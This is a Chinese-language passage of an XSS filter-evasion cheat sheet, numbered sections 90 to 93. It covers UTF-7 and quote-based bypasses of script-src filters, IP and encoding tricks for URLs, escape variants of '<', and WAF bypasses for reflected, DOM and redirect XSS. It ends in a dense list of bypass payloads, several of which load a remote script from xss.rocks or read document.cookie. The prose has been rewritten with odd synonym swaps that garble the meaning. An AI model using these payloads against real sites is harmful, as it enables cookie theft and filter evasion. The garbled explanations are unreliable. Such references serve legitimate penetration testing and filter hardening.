如果存在XSS的页面没有供应页面编码头部,或者利用了任何设置为利用UTF-7编码的浏览器,就可以利用下列办法进行攻击(感谢Roman Ivanov供应)。
这在任何不改变编码类型的当代浏览器上是无效的,这也是为什么标记为完备不支持的缘故原由。
Watchfire在Google的自定义404脚本中创造这个问题:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-90、利用HTML引号包含的XSS

这在IE中测试通过,但还得视情形而定。
它是为了绕过那些许可"

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

这是为了绕过那些许可"

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

另一个绕过此正则过滤" /<script((\s+\w+(\s=\s(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s|\s)src/i"的XSS:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

又一个绕过正则过滤" /<script((\s+\w+(\s=\s(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s|\s)src/i"的XSS。
只管不想提及防御方法,但如果你想许可

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

末了一个绕过此正则过滤" /<script((\s+\w+(\s=\s(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s|\s)src/i"的XSS,利用了重音符(在FireFox下无效):

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

这是一个XSS样例,用来绕过那些不会检讨引号配对,而是创造任何引号就立即结束参数字符串的正则表达式:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

这个XSS很让人担心,由于如果不过滤所有活动内容险些不可能防止此攻击:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>91、URL字符绕过

假定"http://www.google.com/"是不被许可的:

IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>URL编码

XSS

双字节编码

(把稳:还有另一种双字节编码):

<A HREF="http://1113982867/">XSS</A>十六进制编码

每个数字的许可的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,以是开头的0可以省略:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>八进制编码

又一次许可添补,只管你必须担保每类在4位字符以上-例如A类,B类等等:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>稠浊编码

让我们稠浊基本编码并在个中插入一些TAB和换行,虽然不知道浏览器为什么许可这样做。
TAB和换行只有被引号包含时才有效:

<A HREF="http://66.000146.0x7.147/">XSS</A>协议解析绕过

(// 替代http://可以节约很多字节).当输入空间有限时很有用(少两个字符可能办理大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?/“的正则过滤(感谢Ozh供应这部分).你也可以将”//“换成”\"。
你须要担保斜杠在精确的位置,否则可能被当成相对路径URL:

<A HREF="//www.google.com/">XSS</A>Google的"feeling lucky"功能1

Firefox利用Google的"feeling lucky"功能根据用户输入的任何关键词来将用户重定向。
如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的,你就可以利用这一特性来攻击FireFox用户。
这利用了Firefox的"keyword:“协议。
你可以像下面一样利用多个关键词"keyword:XSS+RSnake”。
这在Firefox2.0后不再有效.

<A HREF="//google">XSS</A>Google的"feeling lucky"功能2

这利用了一个仅在FireFox上有效的小技巧,由于它实现了"feelinglucky"功能。
不像下面一个例子,这个在Opera上无效由于Opera会认为只是一个老式的HTTP根本认证钓鱼攻击,但它并不是。
它只是一个畸形的URL。
如果你点击了对话框的确定,它就可以生效。
但是在Opera上会是一个缺点对话框,以是认为其不被Opera所支持,同样在Firefox2.0后不再有效。

<A HREF="http://ha.ckers.org@google">XSS</A>Google的"feeling lucky"功能3

这是一个畸形的URL只在FireFox和Opera下有效,由于它们实现了"feeling lucky"功能。
像上面的例子一样,它哀求你的攻击页面在Google上特定关键词排名第一(在这个示例里关键词是"google")

<A HREF="http://google:ha.ckers.org">XSS</A>移除别名

当结合上面的URL,移除"www."会节约4个字节,统共为精确设置的做事器节省9字节:

<A HREF="http://google.com/">XSS</A>绝对DNS名称后额外的点

<A HREF="http://www.google.com./">XSS</A>

JavaScriptlink location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>内容更换作为攻击向量

假设"http://www.google.com/"会自动更换为空。
我实际利用过类似的攻击向量即通过利用转换过滤器本身(示例如下)来帮助构建攻击向量以对抗现实天下的XSS过滤器:

<A HREF="http://www.google.com/ogle.com/">XSS</A>92、字符转义表

下面是HTML和JavaScript中字符“<”的所有可能组合。
个中大部分不会被渲染出来,但个中许多可以在某些情形下呈现出来。

<%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C93、绕过WAF的方法

通用问题

存储型XSS

如果攻击者已经让XSS绕过过滤器,WAF无法阻挡攻击透过。

基于JavaScript的反射型XSS

示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>利用: /?xss=500); alert(document.cookie);//基于DOM的XSS

示例: <script> ... eval($_GET[xss]); ... </script>利用: /?xss=document.cookie通过要求重定向布局XSS

存在漏洞代码:

... header('Location: '.$_GET['param']);...

同样包括:

... header('Refresh: 0; URL='.$_GET['param']);...

这种要求不会绕过WAF:

/?param=javascript:alert(document.cookie)

这种要求可以绕过WAF并且XSS攻击可以在某些浏览器实行:

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=绕过WAF可用字符串:

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"><Video> <source onerror = "javascript: alert (XSS)"><Input value = "XSS" type = text><applet code="javascript:confirm(document.cookie);"><isindex x="javascript:" onmouseover="alert(XSS)">"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>"><img src="x:x" onerror="alert(XSS)">"><iframe src="javascript:alert(XSS)"><object data="javascript:alert(XSS)"><isindex type=image src=1 onerror=alert(XSS)><img src=x:alert(alt) onerror=eval(src) alt=0><img src="x:gif" onerror="window['al\u0065rt'](0)"></img><iframe/src="data:text/html,<svg onload=alert(1)>"><meta content=" 1 ; JAVASCRIPT: alert(1)" http-equiv="refresh"/><svg><script xlink:href=data:,window.open('https://www.google.com/')></script<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"><iframe src=javascript:alert(document.location)><form><a href="javascript:\u0061lert(1)">X</script><img/%00/src="worksinchrome:prompt(1)"/%00/onerror='eval(src)'><style>//{x:expression(alert(/xss/))}//<style></style> On Mouse Over<img src="/" =_=" title="onerror='prompt(1)'"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe<script x> alert(1) </script 1=2<form><button formaction=javascript:alert(1)>CLICKME<input/onmouseover="javaSCRIPT:confirm(1)"<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>Alert稠浊以绕过过滤器

(alert)(1)a=alert,a(1)[1].find(alert)top[“al”+”ert”](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)top[‘al\145rt’](1)top[‘al\x65rt’](1)top[8680439..toString(30)](1)